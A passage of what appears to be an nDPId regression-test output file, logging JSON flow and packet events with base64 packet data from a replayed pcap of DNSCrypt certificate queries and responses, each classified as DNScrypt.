AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":440,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":1,"flow_first_seen":946739348805,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":51647,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":441,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":1,"flow_first_seen":946739348805,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":59224,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":182,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":441,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":805763,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXclaUgAL0RJzsKAAABjgTMb+dYAbsGBJhPEXwBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":441,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":1,"flow_first_seen":946739348805,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":59224,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":442,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":1,"flow_first_seen":946739348805,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":41895,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":183,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":442,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":805774,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIclaZAAL0RCvoKAAABjgTMb6OnAbsCCB1KEX0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":442,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":1,"flow_first_seen":946739348805,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":41895,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":443,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":805778,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQlaUAub0RTA4KAAABjgTMbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":443,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":444,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":1,"flow_first_seen":946739348805,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":46363,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":184,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":444,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":805808,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcladAAL0RCvkKAAABjgTMb7UbAbsCCB1KEXsBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":444,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":1,"flow_first_seen":946739348805,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":46363,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":445,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":185,"flow_packet_id":1,"flow_first_seen":946739348805,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":57180,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":185,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":445,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":805827,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXclaggAL0RJzgKAAABjgTMb99cAbsGBKBJEX4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":445,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":185,"flow_packet_id":1,"flow_first_seen":946739348805,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":57180,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":446,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":805843,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQlagAub0RTAsKAAABjgTMbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":446,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":447,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":186,"flow_packet_id":1,"flow_first_seen":946739348805,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":47621,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":186,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":447,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":805857,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXclakgAL0RJzcKAAABjgTMb7oFAbsGBMWkEXoBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":447,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":186,"flow_packet_id":1,"flow_first_seen":946739348805,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"142.4.204.111","src_port":47621,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":448,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":805876,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQlakAub0RTAoKAAABjgTMbwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":448,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00670{"flow_id":183,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":449,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":912043,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWoIMAADQRymOOBMxvCgAAAQG7o6cAwiYzEX2BgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAG0rJMeHQmadAAjPo7oVfCGn+vVnYNn+3VnMSzQY0rAkl3fyY6FeDYzevPOP9Wx6CFjMcHM\/npT74\/JxSlg\/ZQ+xYYapuSWJmSy0bkM5eaAYWq1iOjOwzrlApye0OOzsPbFhhqm5JYmZWX62h1l+todsSrmH"} +00670{"flow_id":182,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":450,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":913796,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWoIUAADQRymGOBMxvCgAAAQG751gAwuKCEXyBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAG0rJMeHQmadAAjPo7oVfCGn+vVnYNn+3VnMSzQY0rAkl3fyY6FeDYzevPOP9Wx6CFjMcHM\/npT74\/JxSlg\/ZQ+xYYapuSWJmSy0bkM5eaAYWq1iOjOwzrlApye0OOzsPbFhhqm5JYmZWX62h1l+todsSrmH"} +00670{"flow_id":184,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":451,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739348,"pkt_ts_usec":915268,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWoIQAADQRymKOBMxvCgAAAQG7tRsAwhTBEXuBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczMCY2EFbHVnZ3MCY28AABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAG0rJMeHQmadAAjPo7oVfCGn+vVnYNn+3VnMSzQY0rAkl3fyY6FeDYzevPOP9Wx6CFjMcHM\/npT74\/JxSlg\/ZQ+xYYapuSWJmSy0bkM5eaAYWq1iOjOwzrlApye0OOzsPbFhhqm5JYmZWX62h1l+todsSrmH"} 